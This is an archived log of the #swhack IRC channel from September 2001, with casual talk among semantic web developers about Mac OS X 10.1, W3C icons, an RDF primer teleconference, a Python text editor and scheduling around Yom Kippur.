19:09:19 <AaronSw> Gates has no sense of style, and thus his programmers and developers follow in his lead 19:09:23 <tav`> *nod* 19:09:34 <AaronSw> whereas Jobs increases the quality of everything around him, because he demands perfection 19:10:25 <tav`> heh 19:10:59 <tav`> now, if macs would work on x86 architecture.. 19:11:06 <tav`> ehm 19:11:11 <tav`> mac os x 19:11:26 <AaronSw> yes, well...it could.. but i doubt apple would do that 19:11:31 <tav`> continue this tonite 19:11:37 <tav`> laters 19:11:50 <AaronSw> c'ya 20:01:52 <AaronSw> <AaronSw> Quick clarification needed from em: 20:01:59 <AaronSw> <AaronSw> Do we call you Supreme Ruler, Fearless Leader or Vegemite Boy? 20:02:42 <AaronSw> <em> err... you can call me eric 20:02:42 <AaronSw> <em> hows that? 20:02:42 <AaronSw> <em> :) 20:02:42 <AaronSw> <AaronSw> But we needed a more formal title. 20:02:42 <AaronSw> <em> who is 'we'? 20:02:43 <AaronSw> <AaronSw> "Let me clear that with Eric" just doesn't work, you see. 20:02:45 <AaronSw> <AaronSw> we = the semantic web masses 20:02:47 <AaronSw> <em> :) 20:02:49 <AaronSw> <AaronSw> Much better to say, "I have to check with Fearless Leader". 20:02:51 <AaronSw> * em thinks AaronSw has too much time on his hands :) 20:02:53 <AaronSw> * em notes to do something about this 20:02:55 <AaronSw> <AaronSw> hey! it comes up quite a bit 20:02:57 <AaronSw> <AaronSw> Fine, i'll go with vegemite boy then. 20:02:59 <AaronSw> <em> :) 20:03:01 <AaronSw> <AaronSw> "Hold on a sec while I ask Vegemite Boy." 20:03:03 <AaronSw> <em> hmm... doesn't have that authoritative ring i think you were looking for 20:03:05 <AaronSw> <AaronSw> eh, I dunno 20:03:17 <AaronSw> * em recombines and comes up with Supreme Vegemite Leader 20:03:26 <AaronSw> <AaronSw> much better! 20:05:49 <AaronSw> <em> how about Activity Lead ... going traditional with what the business card says :) 20:05:57 <AaronSw> <AaronSw> No one can understand that. 20:09:24 <AaronSw> <AaronSw> Well then we'll have to stick with Supreme Vegemite Leader 20:09:24 <AaronSw> <em> :) 20:09:29 <AaronSw> <em> SVL for short 20:09:41 <AaronSw> <AaronSw> Done! 20:47:46 <AaronSw> -- 21:58:26 <lilo> [GlobalNotice] Hi all. One of our main hubs, farmer, is getting ready to reboot for an upgrade to FreeBSD 4.4. It will be rebooting several times before the server comes back. Please bear with us and apologies for the inconvenience. 22:00:25 <AaronSw> AaronSw has quit 22:00:32 <AaronSw> AaronSw has joined #swhack 22:00:35 <lilo> [GlobalNotice] Here we go. 22:20:25 <Morbus> Morbus has joined #swhack 22:23:35 <AaronSw> hi morbus 22:23:56 <AaronSw> read the beginning of that futurama comic you showed us the other day... 22:24:10 <AaronSw> ... poor treehuggers 22:24:44 <Morbus> hehehe... 22:24:58 <Morbus> you went and picked it up? 22:25:27 <AaronSw> nah, my brother had a copy 22:25:30 <Morbus> btw, you can buy 10.1 off apple's site, but the stores don't get it until sat. 22:25:38 <Morbus> i wonder if the retail's are getting the upg cd.s 22:25:39 <AaronSw> Yeah, I know 22:25:45 <Morbus> i really dont' want to snailmail my receipt 22:25:46 <AaronSw> ... called up every store around 22:25:58 <AaronSw> Yes, stores get upg. CDs but not developer tools. 22:26:08 <AaronSw> And they're free! 22:26:13 <Morbus> wha? that sucks 22:26:29 <Morbus> how the hell are we supposed to get the devtools 22:26:33 <AaronSw> i'm sure you can download developer tools, tho 22:26:38 <AaronSw> you could download the old ones 22:27:20 <Morbus> poo. 22:27:26 <Morbus> ah twell. 22:27:31 <Morbus> brb 22:28:44 <AaronSw> 10.1 looks so cool, especially the AppleScript / Perl integration. 22:28:53 <AaronSw> Now they just need to replace perl with Python. ;-) 22:33:37 <AaronSw> Hmm, looks like the site only has the May 2001 Dev tools. 22:33:59 <AaronSw> Guess they haven't updated it yet. 22:37:50 <Morbus> hehehe. perl and python. sheesh. 22:38:10 <Morbus> i wonder how niecly i could make an applescript gui <g> 22:38:16 <Morbus> hooking into perl 22:38:38 <Morbus> god. it's so sexy when i drip steak juice all over my body and my cat comes to lick me dry. 22:38:49 <AaronSw> More than I needed to know. ;-) 22:39:03 <AaronSw> ... Quick, get the webcam up! 22:39:06 <Morbus> heh. i don't have a cat. 22:39:14 <Morbus> i justsent that to a vegetarian <g> 22:39:23 <AaronSw> lol 22:42:17 <lilo> [GlobalNotice] Hi all. Services will be coming up momentarily. 22:43:52 <Morbus> seen this?http://www.apple.com/applescript/macosx/script_menu/ 22:44:32 <AaronSw> Yeah, that's what I was referring to above. 22:44:49 <AaronSw> Web services, applescript studio... i'm drooling ;) 22:44:52 <Morbus> ah. 22:44:58 <Morbus> heheh :) 22:45:22 <ChanServ> ChanServ has changed the topic to: 22:45:25 <AaronSw> I assume that when they say Perl, they're mean anything that supports shbang or whatever 22:45:38 <lilo> [GlobalNotice] That should do it for now, thanks for your patience. 22:46:06 <Morbus> well, even if they didn't, you could just perl off to the shell. 22:46:07 <Morbus> Morbus has left #swhack 22:46:08 <AaronSw> AaronSw has changed the topic to: Drool: http://www.apple.com/macosx/ 22:46:14 <Morbus> Morbus has joined #swhack 22:46:38 <AaronSw> Heh, "The biggest breakthrough since point and click" 22:46:43 <AaronSw> I wouldn't go that far. 22:46:46 <Morbus> um <g> 22:47:15 <AaronSw> You need to learn how to use your IRC client, Morbo. 22:53:25 <AaronSw> Woohoo!!! 10.1 works with my camera! 22:57:21 <Morbus> oh? what'd i do stupidly now. 22:57:24 <Morbus> and where are you seeing that? 22:57:35 <AaronSw> on the macosx website 22:57:44 <AaronSw> gotta run, dinner 22:57:49 <AaronSw> c'ya in a bit 22:57:55 <Morbus> yup 23:16:35 <sbp> sbp has joined #swhack 23:21:14 <AaronSw> hi sean 23:21:19 <AaronSw> * AaronSw returns 23:21:32 <sbp> Hi Aaron 23:21:33 <sbp> wb 23:21:51 <AaronSw> thanks 23:22:45 <sbp> np 23:22:59 <AaronSw> s/thanks/tx/ 23:23:04 <sbp> I got you're email. I'm currently engaged in a GL thread... 23:23:10 <sbp> :-) 23:23:18 <AaronSw> Do you have a response? 23:23:26 <sbp> To what? 23:23:38 <AaronSw> my email... 23:23:54 <sbp> Written? Not yet 23:24:00 <AaronSw> hmm, what email are you thinking of? 23:25:54 <sbp> sbp has quit 23:34:44 <sbp> sbp has joined #swhack 23:34:48 <AaronSw> wb 23:35:01 <sbp> ty 23:35:08 <sbp> what were we discussing? 23:35:09 <AaronSw> np 23:35:22 <AaronSw> Did you get my email about the telecon for the primer 23:35:23 <AaronSw> ? 23:35:34 <AaronSw> Outline at: http://www.w3.org/2001/09/rdfprimer/ 23:35:43 <sbp> yeah... oh, you must have missed that bit 23:35:53 <AaronSw> <sbp> Written? Not yet 23:35:53 <AaronSw> <AaronSw> hmm, what email are you thinking of? 23:35:53 <AaronSw> *** sbp has quit IRC (Read error to sbp[ACA30A13.ipt.aol.com]: Connection reset by peer) 23:35:59 <sbp> I said that I obviously couldn't dial into the call, so it looks unlikely 23:36:10 <sbp> * sbp retrieves his log 23:36:11 <AaronSw> Hmm, we could dial you in, no? 23:36:26 <AaronSw> Like I did last time. 23:36:27 <sbp> Some Might Say is such a classy song... 23:36:35 <sbp> if you can dial me in, I'll be there :-) 23:36:56 <AaronSw> Great! 23:36:59 <sbp> sbp has left #swhack 23:37:13 <AaronSw> Pff. 23:39:28 <Morbus> anyone worked with xbel? 23:39:33 <AaronSw> xbel? 23:39:48 <Morbus> yah. the bookmark exchange langaugae. created by your beloved python people ;) 23:39:57 <AaronSw> Oh, yes. 23:39:58 <sbp> sbp has joined #swhack 23:40:16 <sbp> fuck! 23:40:47 <AaronSw> what's up with your connection? 23:40:56 <sbp> Dunno... it just keeps caving in 23:41:53 <AaronSw> hmm 23:42:03 <sbp> er... what was I doing... 23:42:09 <Morbus> getting ready to be disconnected again 23:42:19 <sbp> :-) 23:42:20 <AaronSw> <sbp> if you can dial me in, I'll be there :-) 23:42:20 <AaronSw> <AaronSw> Great! 23:42:26 <AaronSw> *** sbp has left the channel 23:42:28 <AaronSw> *** sbp has quit IRC (Read error to sbp[AC8CAF29.ipt.aol.com]: Connection reset by peer) 23:42:33 <AaronSw> -- 23:42:35 <Morbus> ... wait, you'er using aol? 23:42:45 <Morbus> we should give you pity? 23:42:47 <Morbus> <g> 23:42:57 <AaronSw> Yeah, look at how desperate he is! 23:43:04 <Morbus> hehe 23:43:43 <sbp> gimme some money! 23:44:28 <AaronSw> heh 23:45:03 <AaronSw> Why don't you apply for a job at ESP? They probably won't pay you, but you might get an Internet connection out of it. ;-) 23:45:10 <sbp> [[[ 23:45:11 <sbp> <sbp> Written? Not yet 23:45:11 <sbp> <AaronSw> hmm, what email are you thinking of? 23:45:11 <sbp> <sbp> PRIMER: Arranging a telecon time 23:45:11 <sbp> <sbp> Obviously, I won't be able to dial in... so it looks unlikely 23:45:11 <sbp> *** Disconnected 23:45:12 <sbp> Session Close: Wed Sep 26 00:27:18 2001 23:45:15 <sbp> ]]] 23:45:23 <sbp> yo, tav, gimme a job 23:46:00 <AaronSw> Hmm, where's that stupid dialin page! 23:46:20 <sbp> telecon's not 'till Thursday, Aaron 23:46:33 <AaronSw> Yeah, but I want to be prepared. 23:46:37 <sbp> :-) 23:46:41 <sbp> Who foots the bill? 23:47:10 <AaronSw> Not me. ;-) 23:47:18 <sbp> ah, that'll do then :-) 23:47:29 <Morbus> you know, uh, if 10.1 wasn't coming out, i'd be all over paying <g> 23:47:33 <sbp> seriously, you'd really better check it out 23:47:44 <AaronSw> Aha! W3C Teleconference Bridge Dialout dial in dial-in http://www.w3.org/1998/12/bridge/dialout.php3 23:47:47 <sbp> sure Morbus, sure... :-) 23:47:59 <AaronSw> Especially since 10.1 is free! 23:48:05 <AaronSw> sbp, check what out? 23:48:16 <sbp> Team ACL? 23:48:37 <AaronSw> Honest judge, it was a GET! I can't be held reliable. 23:48:46 <sbp> Hmm... 23:49:02 <AaronSw> s/reliable/responsible/ 23:49:07 <sbp> Anyway, check it out with whoever pays the bill 23:49:14 <AaronSw> The W3C, duh. 23:49:26 <AaronSw> I'm sure Supreme Vegemite Leader will approve. 23:49:46 <sbp> cool; don't forget to ask him 23:49:57 <sbp> well, you blackmail him with vegemite, but it's all the same 23:50:13 <AaronSw> <lurk-Aa> yo, Supreme Vegemite Leader, can I dial Sean in for the telecon? 23:50:24 <sbp> aha 23:50:33 <sbp> I should join that channel 23:50:42 <AaronSw> I didn't actually send it to the channel. 23:50:55 <AaronSw> You should see our talk eariler today -- I pasted (some of it) into the logs here. 23:53:31 <sbp> * sbp kicks himself, it's member ACLed 23:53:40 <sbp> so there you go 23:53:45 <AaronSw> I go where? 23:53:56 <AaronSw> I know it's Member ACLed -- I used it before, remember? 23:55:33 <sbp> yep ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������2001-09-26.txt��������������������������������������������������������������������������������������0100644�0000143�0001000�00000056500�07354465430�012027� 0����������������������������������������������������������������������������������������������������ustar �nobody��������������������������devel������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������00:06:41 <logster> logster has joined #swhack 00:06:41 <carter.openprojects.net> topic is: Drool: http://www.apple.com/macosx/ 00:06:41 <carter.openprojects.net> Users on #swhack: logster Morbus AaronSw tav` tav deltab 00:17:54 <AaronSw> W3C Management: http://www.w3.org/Icons/WWW/w3m.gif 00:18:03 <AaronSw> Aww, look at this expression of love for W3C collaborators: http://www.w3.org/Icons/WWW/w3c-collab_48x48.gif 00:18:14 <AaronSw> Who's http://www.w3.org/Icons/WWW/w3c_person.gif ? 00:18:55 <AaronSw> The real truth behind the W3T: http://www.w3.org/Icons/WWW/team2.gif 00:22:31 <sbp> sbp has joined #swhack 00:22:49 <sbp> may I just say... 00:22:51 <sbp> aaaaaaaaaaaaargh! 00:23:08 <AaronSw> Heh. 00:27:31 <sbp> lol @ W3M! 00:27:41 <AaronSw> :-) 00:27:51 <AaronSw> Now we know what they really think. 00:28:32 <sbp> what's team2 all about? 00:30:18 <AaronSw> Can't you see it? 00:30:58 <sbp> Nope, I can't work it out 00:31:28 <AaronSw> Beer! 00:34:13 <sbp> Yeah, but what are those other things in the background??? 00:34:23 <sbp> oh, bottles... 00:34:25 <AaronSw> Umm, more beer. 00:34:57 <sbp> coffee and beer... dear oh dear 00:36:07 <sbp> Hmm... how about an swnick URN namespace? 00:36:10 <sbp> urn:swnick:SVL 00:36:19 <sbp> urn:swnick:AaronTwoMonitorsSwartz 00:36:23 <sbp> urn:swnick:sbp 00:36:27 <sbp> urn:swnick:TimBL 00:36:30 <sbp> urn:swnick:DanC 00:36:31 <sbp> etc. 00:36:50 <AaronSw> How are swnicks assigned? 00:37:30 <sbp> by me for now, but I guess the SVL should have the supreme responsibility 00:38:24 <AaronSw> Hmm, I don't think that's very persistent. 00:38:30 <AaronSw> The SVL has faulty memory. 00:38:48 <sbp> The SVL will be required to scribe them in persistent HTTP space 00:41:15 <AaronSw> what do these URNs identify? 00:41:49 <sbp> they identify people working on the SW 00:41:54 <sbp> no, hang on... 00:42:21 <sbp> they identify the current (or most recent) beverage consumed by the people working on the SW with those nicknames 00:42:31 <sbp> yes, that seems about right 00:42:35 <sbp> then, you just do:- 00:43:08 <sbp> <http://logicerror.com/> dc:creator [ :drinkerOf <urn:swnick:AaronTwoMonitorsSwartz> ] . 00:43:21 <AaronSw> Heh. 00:43:48 <sbp> it's practical, that's why it's good. Should I register it? 00:43:55 <AaronSw> LOL! 00:43:56 <AaronSw> You know, I added ad-blocking to my ArchiverProxy. 00:45:59 <sbp> cool 01:05:39 <sbp> [[[*** Now talking in #dotgnu 01:05:40 <sbp> *** Topic is 'Welcome to #dotgnu! This is the IRC home of the dotGnu project. Please see http://www.dotgnu.org for more details!' 01:05:40 <sbp> *** Set by ChanServ on Tue Sep 25 23:46:51 01:05:40 <sbp> <myrddian> La la 01:05:40 <sbp> <sbp> de de de, dooby doo 01:05:40 <sbp> <myrddian> dee da da doo doooby daaa deee 01:05:42 <sbp> <sbp> ooh, wop bop be scooby dooby, wop bop be diddle do bah, do bah! 01:05:44 <sbp> ]]] 01:09:14 <AaronSw> [[[ 01:09:14 <AaronSw> * oierw` has been up for almost 2 hours... very tired now 01:09:14 <AaronSw> <Killarny> yeah the human body wasn't meant to go for 2 hours straigh 01:09:15 <AaronSw> ]]] 01:10:01 <sbp> lol 01:10:19 <sbp> [[[ 01:10:19 <sbp> <myrddian> woop daaa di di dooby daaa ba da wip diddle wooop baa di daa 01:10:19 <sbp> <sbp> diddly skat de do wop, pah woop dap skoodle. dah dooby dooby wop de do ska! (yeah) 01:10:20 <sbp> ]]] 01:14:32 <sbp> Homer: I can't believe he actually wrote "diddly" 01:15:31 <AaronSw> diddly! 01:22:20 <sbp> *** mds has quit IRC (shoop-de baa de-bop doo hay-fee-go-si-toe-ri-moe-bee-doe! ... (ahh-chah-chah-chah-chah...)) 01:25:05 <sbp> I'm suprised he didn't have "UTF-8 rules!" 01:28:58 <AaronSw> Heh! 01:31:26 <sbp> http://infomesh.net/2001/enquire/manual/ 01:31:33 <sbp> gmgpghpgmgh 01:31:41 <Morbus> gmpa? asjkdhauisye! 01:31:56 <sbp> egpajg? apgojaej.... oinogina, apirg pijrg apgj. pojisgp! 01:32:06 <Morbus> ahhhhh. 01:32:13 <sbp> exactlprsjiogb! 01:32:15 <Morbus> * Morbus kjhsdfkjhsdf's. 01:32:24 <sbp> oh, pgjsgs 01:32:32 <Morbus> giggle 01:32:47 <sbp> don't giggle, Google! 01:32:57 <Morbus> i may run out of a breath if i do it that much 01:33:03 <sbp> :-) 01:36:54 <tav`> sbp, would love to, but i want to be fully viable first 01:37:10 <sbp> love to what? 01:37:43 <AaronSw> oh, you missed context, tav. 01:37:44 <AaronSw> I told him that he wouldn't get paid. 01:37:54 <AaronSw> <AaronSw> Why don't you apply for a job at ESP? They probably won't pay you, but you might get an Internet connection out of it. ;-) 01:40:54 <Morbus> * Morbus twiddles. 01:41:16 <sbp> hey, not in public! 01:41:20 <Morbus> heh. 01:42:56 <sbp> so how about it tav, gimme a DSL line, and I'll work for you every so often? :-) 01:45:12 <tav`> hmz 01:45:13 <Morbus> poo. i'm bored. 01:45:35 <tav`> can you get dsl? 01:46:04 <AaronSw> Heh, I love these new Amazon tabs: http://g-images.amazon.com/images/G/01/nav/personalized/tabs/yourstore-on-sliced._ZCManiac-Killer%27S,0,2,0,0,verdenab,7,255,204,102_.gif 01:46:23 <sbp> no, actually I can't! Er... any dial up will do, though 01:46:35 <Morbus> aaronSw, heh 01:48:28 <tav`> -- 01:48:30 <tav`> --- #porn sean AC930783.ipt.aol.com forward.openprojects.net sbp H@ :0 Sean B. Palmer 01:48:31 <tav`> --- #porn :End of /WHO list. 01:48:32 <tav`> -- 01:48:56 <AaronSw> ;-) 01:48:56 <Morbus> speaking of which, do you need to register with openprojects to oepn a channel? 01:49:12 <AaronSw> Umm, no, just to get opped automatically. 01:49:23 <Morbus> don't umm me. i'm stupid <g> 01:49:36 <Morbus> i mean, to like, have it listed in the channel list. 01:49:41 <sbp> tav`: prove it 01:49:49 <Morbus> i know you can open any channel, but does it become like official or something? <g> 01:49:51 <AaronSw> No, to have it in the list, you just need a lot of people. 01:50:07 <AaronSw> Yes, you register it with ChanServ to make it official. 02:06:22 <Morbus> aaronSw: http://www.haxial.com/ 02:06:29 <Morbus> its what hinkley is working on. 02:06:47 <AaronSw> hinkley? 02:07:10 <AaronSw> oh, that kdx thing? 02:07:12 <Morbus> yeah - the guy who made hotline. 02:07:50 <Morbus> yeah. 02:07:57 <sbp> yeah what? 02:08:14 <Morbus> yeah to your mother. 02:08:22 <Morbus> whoo! 02:08:26 <Morbus> * Morbus dances. 02:08:27 <sbp> ooh! ya bitch 02:08:37 <sbp> :-) 02:08:56 <sbp> where's a Webcam when you need it... 02:09:30 <Morbus> lol 02:11:00 <tav`> * WC3 ? The SOAP specification as posted by the WC3 standards organization 02:11:03 <tav`> ? 02:11:11 <AaronSw> yeah, I liked that too. 02:11:19 <AaronSw> I chumped it, in fact 02:11:41 <tav`> heh 02:11:50 <sbp> world coding collaborative consortium 02:12:34 <tav`> question 02:12:41 <sbp> go ahead 02:13:02 <tav`> how would the world react if we just opened up tomorrow? 02:13:25 <AaronSw> Umm, it'd be very, very excited, I would say. 02:13:28 <sbp> if who opened up? 02:13:54 <tav`> this is what we want to do, come join us and make it happen 02:14:01 <tav`> sbp: does it matter? 02:14:16 <sbp> I'd join you if I knew how! 02:14:39 <tav`> actually the essex girl i knew was very conservative 02:14:49 <tav`> AaronSw: why? 02:15:04 <AaronSw> Becuase you guys are so cool. 02:15:12 <sbp> yeah, you kick-ass 02:16:03 <tav`> well, espians are great, but it's just a bunch of ideas atm... 02:16:16 <tav`> a lot of half developed code 02:16:21 <sbp> are they written down anywhere? Public? 02:16:24 <AaronSw> so? 02:16:25 <sbp> any lists to join? 02:16:33 <sbp> any places or corners of discussion? 02:16:59 <Morbus> Morbus has quit 02:17:36 <sbp> * sbp wonders where tav's mustachioed twin has gone 02:17:50 <tav`> a shell replacement, a p2p network, a file sharing application, a gaming engine, a text editor, an intranet system, an installation / update system, a 3d rendering engine, a media player, an instant messaging application, the list goes on 02:18:17 <sbp> a good text editor? Can I download it? Can I play with it? 02:18:24 <tav`> win32 only and yes 02:18:28 <sbp> woohoo! 02:18:38 <tav`> well, it's more for writing code, python code ;p 02:18:48 <sbp> Homer: How can one little insulated wire bring so much happiness? 02:18:53 <tav`> www.iceedit.com 02:18:59 <sbp> ooh! 02:19:55 <sbp> * sbp downloads... 02:20:04 <sbp> Python: woohoo! 02:20:12 <tav`> you got python installed i presume? 02:20:22 <sbp> Of course! 02:20:25 <tav`> good 02:20:35 <sbp> Homer: When I was young, 50 cents was a lot of money 02:20:38 <sbp> Bart: Really? 02:20:41 <sbp> Homer: Nah 02:21:52 <sbp> sbp has changed the topic to: Homer: Twenty dollars? I wanted a peanut! 02:21:55 <tav`> heh 02:22:00 <AaronSw> What's that from? 02:22:08 <sbp> Heh, heh, heh! 02:24:31 <sbp> Wow, tav, it's actually quite good 02:24:39 <tav`> ehm 02:24:42 <tav`> course it's good 02:24:52 <AaronSw> Pff, you Windows lusers. 02:24:55 <tav`> everything we do is good 02:25:15 <tav`> we just need to _complete_ things 02:25:18 <AaronSw> So open up already! 02:25:22 <sbp> does it do RegExp search and replaces? 02:25:33 <AaronSw> Let other people help out. 02:25:43 <AaronSw> That's what the open community is all about. 02:26:01 <tav`> sbp: not yet 02:26:17 <sbp> fuck: Added new FTP Manager dialog w/ open/save to/from FTP! 02:26:19 <sbp> great! 02:26:31 <AaronSw> * AaronSw will stick to Pepper. 02:26:58 <sbp> Pepper? 02:27:25 <AaronSw> Yeah, awesome editor for Mac. 02:27:35 <sbp> Port to Win? 02:27:56 <AaronSw> Hey, can't be too hard. 02:27:57 <AaronSw> He ported it to Be. 02:28:03 <sbp> Be? 02:28:12 <AaronSw> BeOS, you know? 02:28:26 <AaronSw> www.Be.com 02:28:43 <tav`> now, if those guys had become open source... 02:28:49 <tav`> such a lovely OS 02:28:49 <AaronSw> As Mac OS is to Windows, Be OS is to Mac OS. 02:28:53 <AaronSw> indeed. 02:28:54 <tav`> yup 02:29:17 <sbp> blimey... 02:29:37 <tav`> sometimes wonder how people who can create such wonderful art can lack so much vision 02:29:50 <AaronSw> Pepper: http://www.hekkelman.com/pepper.html 02:30:00 <sbp> yeah, I already got that URI... 02:30:39 <AaronSw> "Porting Pepper to BeOS I finally finished the total separation of platform specific code from Pepper's own code." 02:30:53 <AaronSw> "others [ports] can be written in just a couple of weeks." 02:30:54 <sbp> I need a good text editor... 02:32:36 <sbp> ah, IceSpehere is a Python editor... 02:32:42 <sbp> man, it's great for that 02:34:28 <sbp> er... something weird seems to have happened 02:34:35 <tav`> oh, it even incorporates some of our iceHtml technology 02:34:45 <sbp> I scrolled over, and lost the left half of the document! 02:34:50 <sbp> iceHtml? 02:35:02 <tav`> primitive browser 02:35:16 <sbp> download? 02:35:38 <tav`> nothing spectacular there, but iceEdit includes aspects of it 02:35:52 <tav`> settings -> show realtime iceHtml 02:36:02 <tav`> then, type some html... 02:36:22 <sbp> "open" doesn't work... 02:36:32 <sbp> yeah, I already used that function 02:36:52 <sbp> I want an Amaya style WYSIWYG environment that will save to FTP and HTTP through PUT 02:37:01 <tav`> how does open not work? 02:37:14 <sbp> open: it just doesn't open documents 02:37:18 <tav`> ehm 02:37:20 <tav`> it does here... 02:37:58 <sbp> Hmm... it works now 02:38:03 <sbp> I think it has a few bugs 02:38:29 <sbp> why can't I open through HTTP? 02:39:55 <sbp> Hmm... and I can't resize windows 02:40:02 <sbp> but it's pretty good 02:40:18 <sbp> especially for its Python integration 02:40:48 <sbp> second to none, there 02:41:34 <sbp> man, if I could program... 02:41:49 <tav`> hmz, haven't really encountered the bugs you speak of... 02:42:03 <tav`> the ftp/webdav is still buggy, yes 02:42:12 <tav`> but, everything else works great here 02:43:36 <sbp> gimme the eamil of the team, I'll have some suggestions for them" 02:43:41 <sbp> s/"/! 02:44:02 <tav`> hmz, xnet@espnow.com 02:44:14 <sbp> oh. Cool :-) 02:44:22 <AaronSw> that go right into zope? 02:44:41 <tav`> no, that's xnetmail@espnow.com 02:44:58 <tav`> xnet is another list similar to espians@espnow.com 02:45:06 <tav`> except we get external email on that 02:45:15 <AaronSw> ahh, so it has actual content? 02:45:22 <tav`> sometimes 02:45:36 <tav`> we get a bit of press, some mac fanatics, etc 02:45:55 <tav`> god, those mac fanatics! 02:45:59 <AaronSw> Mac fanatics? 02:46:10 <tav`> release this and that for macs ;p 02:47:02 <AaronSw> See, that's what cult members are like. 02:47:06 <AaronSw> Do you really want them hanging around all the time? 02:47:48 <tav`> heh 02:48:18 <tav`> a cult is just a group of people believing in something that is not accepted by the social mainstream 02:49:23 <tav`> it's good to believe in things so intensely 02:49:31 <tav`> that's the only way revolutions happen 02:51:22 <AaronSw> Heh, from email: 02:51:23 <sbp> sbp has quit 02:51:29 <AaronSw> "I was looking through your site and now am totally confused" 02:52:30 <tav`> hmz 02:52:34 <tav`> where'd you see that? 02:52:52 <AaronSw> What? 02:52:57 <AaronSw> That line was from email 02:53:06 <tav`> to? 02:53:11 <AaronSw> me. 02:53:15 <tav`> ah 02:53:24 <tav`> we've had a few emails like that 03:05:09 <AaronSw> MySQL rulez u! http://xmlhack.com/ 03:05:11 <AaronSw> ;) 03:08:46 <tav`> yay! 03:08:54 <tav`> see, you'd never get such problems with zope 03:09:18 <AaronSw> No, the whoozit would just be rebuilding, right? 03:09:29 <AaronSw> Or the server would just die altogether. ;-) 03:18:06 <AaronSw> LOL: 03:18:08 <AaronSw> "Humans are incapable of securely storing high-quality cryptographic keys, and they have unacceptable speed and accuracy when performing cryptographic operations. (They are also large, expensive to maintain, difficult to manage, and they pollute the environment. It is astonishing that these devices continue to be manufactured and deployed. But they are sufficiently pervasive that we must design out protocols around their limitations.)" 03:18:38 <AaronSw> Kaufman, Perlman, and Speciner, via http://www.cl.cam.ac.uk/~rja14/book.html, via http://zooko.com/ 05:53:23 <AaronSw> -- 05:53:31 <AaronSw> Wow, Duerst is answering some email! 06:23:20 <tav`> hi 06:23:25 <tav`> soz for the distraction 06:32:19 <AaronSw> heh 06:32:28 <AaronSw> Perhaps we should try again tomorrow? 06:32:51 <AaronSw> you can plan your answer during your sleep or whatever ;) 06:41:05 <AaronSw> tav? 06:41:37 <tav`> hmz 06:41:52 <tav`> you just want me to start typing? 06:42:30 <AaronSw> start typing what? 06:42:34 <AaronSw> the vision. yes. 06:43:05 <AaronSw> Altho it'd work better if i was there to tell you when you weren't making sense 06:43:21 <AaronSw> but typing is good 06:50:58 <AaronSw> goodnight, tav 06:52:23 <tav`> nite 13:08:45 <irc.openprojects.net> Disconnected from irc.openprojects.net (ERROR :Closing Link: logster[xcdfddb76.ip.ggn.net] by carter.openprojects.net (Ping timeout for logster[xcdfddb76.ip.ggn.net])) 13:09:04 <logster> logster has joined #swhack 13:09:04 <asimov.openprojects.net> topic is: Homer: Twenty dollars? I wanted a peanut! 13:09:04 <asimov.openprojects.net> Users on #swhack: logster AaronSw tav` tav deltab 17:00:05 <irc.openprojects.net> Disconnected from irc.openprojects.net (ERROR :Closing Link: logster[xcdfddb76.ip.ggn.net] by asimov.openprojects.net (Ping timeout for logster[xcdfddb76.ip.ggn.net])) 17:00:29 <logster> logster has joined #swhack 17:00:29 <niven.openprojects.net> topic is: Homer: Twenty dollars? I wanted a peanut! 17:00:29 <niven.openprojects.net> Users on #swhack: logster AaronSw tav` tav deltab 17:16:58 <sbp> sbp has joined #swhack 17:42:11 <sbp> sbp has quit 19:34:04 <tav> tav has quit 19:55:36 <sbp> sbp has joined #swhack 19:55:54 <sbp> WFM, it connected on the first attempt 19:56:54 <AaronSw> Hi there. 19:57:02 <sbp> Hi 19:57:24 <AaronSw> I just realized I won't be able to make it to the telecon tomorrow. :-( 19:57:37 <sbp> What??! 19:57:48 <AaronSw> Yeah, I'd totally forgotten -- it's Yom Kippur. 19:58:08 <AaronSw> Arguably the biggest Jewish holiday. 19:58:15 <AaronSw> You'll have to take really good notes for me. 19:58:29 <AaronSw> And I sent a long, long letter to the list with my thoughts 19:58:38 <sbp> Yom Kippur: how could you forget! 19:58:51 <AaronSw> My memory is really going... :-( 19:58:56 <sbp> Wow, yeah 19:59:24 <sbp> Has em O.K.ed the dial up, or shall I ask? 19:59:39 <AaronSw> I mentioned that in my email. 19:59:48 <AaronSw> But if he doesn't respond you might want to double check 20:00:03 <sbp> When did you send the email? Did you CC me? 20:00:10 <sbp> oh, I just got it 20:00:21 <AaronSw> cool 20:01:17 <tav> tav has joined #swhack 20:01:26 <sbp> I can't believe you forgot Yom Kippur! 20:01:37 <AaronSw> Neither can I. 20:01:38 <tav`> telecon? 20:01:39 <sbp> That'd be like forgetting the New Year... 20:01:44 <tav`> heh 20:01:47 <AaronSw> I forgot Rosh Hashana too. 20:02:00 <tav`> you non-orthodox jew you 20:02:08 <sbp> Don't forget Hannukah 20:02:08 <tav`> a disgrace to abraham i tell you! 20:02:16 <AaronSw> Hey! Just because I forgot them doesn't mean I forgot to observe them. 20:03:04 <sbp> or Hanukkah... however it's spelt 20:03:40 <AaronSw> Doesn't really matter. 20:04:02 <AaronSw> Hanukka's not that big a deal because you can still do other stuff during the week. 20:04:11 <sbp> According to http://www.joi.org/celebrate/yomkipp/happy.htm you forgot the happiest day of the year... tut, tut 20:04:50 <AaronSw> what are you talking about? 20:05:00 <AaronSw> oh... never mind 20:05:20 <sbp> not that big a deal?! But you get to light the Menorah! 20:05:56 <AaronSw> heh 20:06:05 <AaronSw> See, I have others to remind me about stuff like that ;) 20:06:29 <sbp> :-) 20:07:29 <sbp> What time's the call tomorrow, again? 20:07:45 <AaronSw> I forget... 10AM? 20:08:00 <sbp> Boston time? 20:08:04 <AaronSw> Yep. 20:08:10 <sbp> that's 2/3PM here... I forget which 20:08:35 <AaronSw> That's not too late... Martyn was complaining it was too late, I think. 20:08:53 <sbp> Yeah, he should try PF call 20:09:02 <AaronSw> Heh. 20:09:21 <AaronSw> Oh: 20:09:23 <AaronSw> Thursday, 2001-09-27 at 11:00 AM EST 20:11:32 <sbp> er... 20:11:33 <sbp> 16:13:07 Wed Sep 26 2001 in US/Eastern converts to 20:11:33 <sbp> 19:13:07 Wed Sep 26 2001 in Etc/GMT+1 20:11:45 <sbp> what? I told it to use 11:00:00 grmrgmrgh 20:11:50 <AaronSw> heh 20:12:22 <sbp> aha:- 20:12:22 <sbp> 11:00:00 Thu Sep 27 2001 in US/Eastern converts to 20:12:22 <sbp> 16:00:00 Thu Sep 27 2001 in 